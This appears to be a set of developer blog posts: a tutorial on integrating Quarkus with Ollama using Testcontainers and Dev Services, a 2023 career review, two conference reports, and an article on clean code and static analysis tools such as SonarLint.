These Ollama services are responsible for calling the Ollama runtime. Here’s a snippet from CuriousService.java:
@RegisterAiService
@SystemMessage("You are a curious person that creates a short question for every message you receive.")
public interface CuriousService {
public String chat(@UserMessage String message);
}
We can even use different models for each service, specifying the configuration property that identifies the model. This example comes from CuriousService.java:
@RegisterAiService(modelName = "curiousModel")
And we identify the model in application.properties :
Testcontainers is a Java library for running lightweight, disposable containers during tests. In PingPong-AI, Testcontainers are used to set up an environment with an Ollama runtime for integration testing.
Example: Setting up a Testcontainer for Ollama
The test class demonstrates how to configure and use Testcontainers:
@QuarkusTest
class CuriousChatResourceTest {
@Inject
CuriousService curiousService;
@Inject
WiseService wiseService;
@Test
@ActivateRequestContext
void testFXMainControllerInteraction() {
// Perform interaction and assertions
var curiousAnswer = curiousService.chat("Barcelona");
var response = wiseService.chat(curiousAnswer);
Log.infof("Wise service response: %s", response);
// Using llama2 model we can check if the response contains 'Barcelona', but not
// with tinyllama
assertFalse(response.isEmpty(), "Response should not be empty");
}
@Test
@ActivateRequestContext
void testChatEndpoint() {
given()
.when()
.body("Barcelona")
.contentType(ContentType.TEXT)
.post("/chat/3")
.then()
.statusCode(200)
.contentType(ContentType.TEXT)
.body(not(empty()))
.body(org.hamcrest.Matchers.stringContainsInOrder("Question:", "Answer:", "Question:", "Answer:", "Question:", "Answer:"));
}
}
Key Points:
TheΒ @QuarkusTestΒ annotation allows Quarkus to run the application in a test-friendly mode.
Quarkus finds a service (Ollama) for which it needs an instance and it will spin up a container for that.
3. Leveraging Quarkus Dev Services for Ollama
What Are Quarkus Dev Services?
Quarkus Dev Services simplifies the setup of required services during development. For this project, Quarkus Dev Services can spin up an Ollama runtime container automatically.
Configuring Dev Services
The application.properties file includes configurations for enabling Dev Services:
With these configurations, Quarkus Dev Services automatically starts an Ollama container when the application is run in development mode or in test, removing the need for manual setup.
Development Workflow
You can launch the application in development mode using the following command:
./mvnw quarkus:dev
This command:
Starts the Quarkus application.
Automatically sets up an Ollama runtime container.
Enables hot-reloading for rapid development.
Conclusion
The PingPong-AI project demonstrates a seamless integration of Quarkus with Ollama, making it easy to build AI-powered applications. By leveraging Testcontainers and Quarkus Dev Services, developers can efficiently test and develop their applications in a containerized and automated environment.
Key Takeaways:
Quarkus provides a lightweight framework for building and deploying Java applications.
Ollama simplifies AI model integration with backend systems.
Testcontainers and Dev Services streamline the testing and development workflows.
It’s that moment of the year when it’s important to make a review of what has been this 2023 for me.
It started full of uncertainty, coming from a bad professional experience in 2022, with some opportunities in the air but nothing closed.
I wanted to make a change to my career, joining the role of Developer Advocate, and connecting with communities, something I’ve been partly doing in my spare time for more than 10 years now.
During these 9 months, I’ve learned a lot from my colleagues. How to improve on writing articles, doing presentations and videos…. being part of this great Advocacy team at Sonar with so skilled people, has been an awesome experience so far.
I’ve been able to visit several cities, speak at conferences, be in the booth, or do team events. In summary, connecting with lots of people.
I want to thank all the organizers for the conferences/meetups I’ve been involved:
In all those events I met super interesting colleagues, you can find them in these Photos .
This year it was also a challenge with the organization of DevBcn 2024. The first edition in the new format, following 7 editions of JBCNConf. New venue, new providers, new organization teams, new technologies covered… in the end, it was a success in terms of attendance, having a bit more than the last edition, with 1058 people.
Apart from the personal interactions, there have also been some interesting technological news out there that have impacted me, like the new release of Java 21 and all the AI stuff (Quarkus, Langchain4j, etc). I hope soon I will be able to add what I’ve learned in an article and presentation.
I don’t want to finish, without giving my total support to all those people impacted by the layoffs. It’s hard, but hopefully, soon you will move to another interesting position.
This next 2024, comes with some new opportunities, new and exciting projects going on, and, for sure, tons of great people to meet.
Hope we will meet someday somewhere in the world π
This week Iβve had the privilege to speak at Geecon Prague, a community conference with 3 tracks and hundreds of attendees, in the beautiful city of Prague.
It has been my first time at Geecon and also at Prague, and definitely, it has been a great and lovely experience.
My talk was in the first slot after the keynote from Michael Feathers talking about AI. An interesting approach to the right usage of AI. In my presentation Iβve tried to share my passion for Clean Code, the numbers about the lack of it, basic rules, Java hints, tooling, and the right approach to it using Clean as You Code and Learn as You Code methodologies. Around 110 people attended with more than 25 minutes of questions at the end ( yes, I forgot to open the sli.do page with the questions ).
Iβve attended several talks, very interesting, covering topics like :
Event sourcing by Milen Dyankov (check a similar video and slides here)
Progressive delivery by Alex Soto (check a similar video and slides here)
This week has been great !!! I have participated for first time to Devoxx Morocco, as speaker, and put foot in Africa for first time too.
Devoxx Morocco, itβs a conference with people all over the world, sharing a dreamy place with technology and great conversations.
During 4 days and 5 rooms, the talented speakers (plus me) have shared content about different topics like AI, DevOps, Front End, Java, and Cloud among others.
I was staying at Hilton Taghazout hotel like other speakers and attendees. I have to mention that the service was amazing, kind and helpful helping me with my doubts and walking me to the place I was asking for, my room was awesome, and the most important part, WiFi worked perfectly well at 30 Mbps speed. Spetial mention to its swimming pools and direct access to the beach….like a dream.
I had the great opportunity to give a talk about Testcontainers, a library that allows connecting containers to the application live cycle in order to test with real tools instead of mocking, and a brief introduction of Quarkus, while sharing the concept of clean code and the help that Sonar is providing in tooling and methodologies.
There was also time to attend a few talks, mainly about AI as Iβm collecting food for my next talk πΒ
A very interesting one from Sara El-Ateif about βThe Art of Prompt Engineering for AI Conversationsβ, where she talked about how to improve in the creation of prompts, fine tunning and tools we can use.
Another interesting talk, from Juan Tomas Garcia was related to IA and LLM history and then introducing Langchain.
It was time also to learn and discuss with Vincent Mayers, about community and the role that we as individuals can play towards our own development and in the growth of these groups.
There was a very nice moment, attending my colleague Marharitaβs session about Kotlin and debugging.
But, the most important part has been all the conversations, connections, plans, that happened on the βHallway trackβ, or more precisely in the βPool & Beach trackβ.
The organization of the conference has achieved a great atmosphere, where I could feel the proximity of the audience, in an event that can serve as an example of others with its level of diversity.
This conference is a perfect place to enjoy the Moroccan culture food and people, along with learning about technologies and more importantly enrich their network meeting people from different backgrounds and areas.
I come back with lots of notes and ideas to learn and explore π
As developers, we’ve been always putting a lot of effort into making our software richer in features and more stable. Are there any other elements of our software that should concern us?
Definitely.
Clean Code, defined as code that is Reliable, Maintainable, Secure and Portable, is a discipline that will help on producing code that saves money.
Just only considering the number of defects depending on the health of the code we can see that healthier code means cheaper code.
But, not only this…. following the CPSQ report for the USA, we will see that the real cost of bad code is super high in terms of money. Only on Finding & Fixing bugs, the amount is 607 Billion
But, the software produced is not only what is important here.
So the focus should not be put only on having the validations to check the software produced, but the personal development in constant learning is also to take seriously. And yes, obviously the latter will affect the former.
Some principles
I call it the Nirvana for both software and person.
But, even knowing that these principles are pretty simple and obvious, reality shows often are not covered.
Current status of Clean Code in overall projects
Using the data coming from SonarLint, the IDE linter from SonarSource, free, that collects metrics of the number of hits for each of its issues rules ( more than 600 only for Java), we can get this list of most detected issues:
These are the most detected issues in public repositories:
I/O function calls should not be vulnerable to path injection attacks
We could reduce all these issues into 6 groups:
In terms of vulnerabilities we can hightlight 3 issues:
Hardcoded credentials
Database operations injection
HTTP request redirections
Here I add a few interesting bugs or code smells that I consider tricky or nice to consider, also as something that is not always easy to spot manually :
It’s also important to highlight a few design issues to consider, in order to not have high complexity in the code that will make it hard to read therefore hard to maintain, hard to debug, and hard to extend:
Methods should not perform too many tasks (brain method)
But this is only a subset of things to consider. Only for Java, one of the code analyzers, SonarLint, is having more than 600 rules.
It’s important to note that a developer should take care of all of these rules everytime they are comitting code or in the process of reviewing others’ code.
And here is where the use of code analyzers that can help in this process becomes a key differentiation. We can find several of these tools just for Java :
SonarLint , SonarQube
CodeQL
PMD
Semgrep
…
These tools will help us by showing warnings about the bad code we are introducing. Bugs, Style and Vulnerabilities can be avoided with the usage of these tools.
IDE Integration
Some of these tools can be integrated directly into our IDE (Integrated Development Environment) showing warnings directly on the code together with information about the detected issue and the best practices to solve them.
SonarLint example on IntelliJ
It’s also important to have a tool that can effectively prevent bad code to be merged into our repository, following the company’s definition of what are the thresholds accepted in terms of code coverage, number of non-blocker issues, etc.
Quality Gates
We enter into the concept of Quality Gates, where tools will set the standard definitions of what bad code is, but companies can configure the code complexity accepted, the number of issues, the code coverage, and even a different value for the new code and for the overall project.
False Positives
But, even using tools that analyze the code we can experience one important to have in mind when we choose the analyzer : False Positives Ratio.
Sometimes the analyzer will show issues where , after reviewing them, we see they are not real issues. This can happen by different causes, including the analyzer accuray, our code distribution or particular code cases that make that issue a false positive in a specific part of the code.
In this particular code we could see a false positive regarding the use of strings concatenation in logging. If CONST_VALUE was a variable, then this will be a genuine issue, but in this case CONST_VALUE is a constant calculated in compile time, so in the end we are not doing string variable concatenation.
After seeing this in our analyzer, we can apply our knowledge helping the tool by saying “This is not really an issue, don’t count it in the Quality Gates”
Finally another important concept that can lead to wide adoption in your company and reduce frustration (leading to low adoption) is the concept of Clean as You Code. Basically the goal is to focus on the new code produced and pay very little attention to the rest of the code.
But why is not that important to focus on the overall project code ? Here we can connect to a story regarding a ship.. The Ship of Theseus. In this story there’s a ship, that gets one part renewed every now and then making the ship containing all new parts after a lot of time. The big question here was, is it the same boat?.
With this story I want to show that eventually old code dissapears from the projects, so there’s no point of putting too much effort on something that we know statiscally will dissapear.
Here you can see the evolution of code considering some interesting repos on GitHub, on the Git Of Theseus project
And just taking a specific project we can see that the code entered 10 years ago has almost vanished from the project
The goal for ourselves is to focus on not introducing bad new code. Only this will make that eventually our project will be almost completely containing good code.
It’s not harmful though to do boy scouting from time to time if we see easy issues to be fixed.
Well, this has been a brief summary of a point of view on Clean Code and how this can help on reducing the cost of your software developement.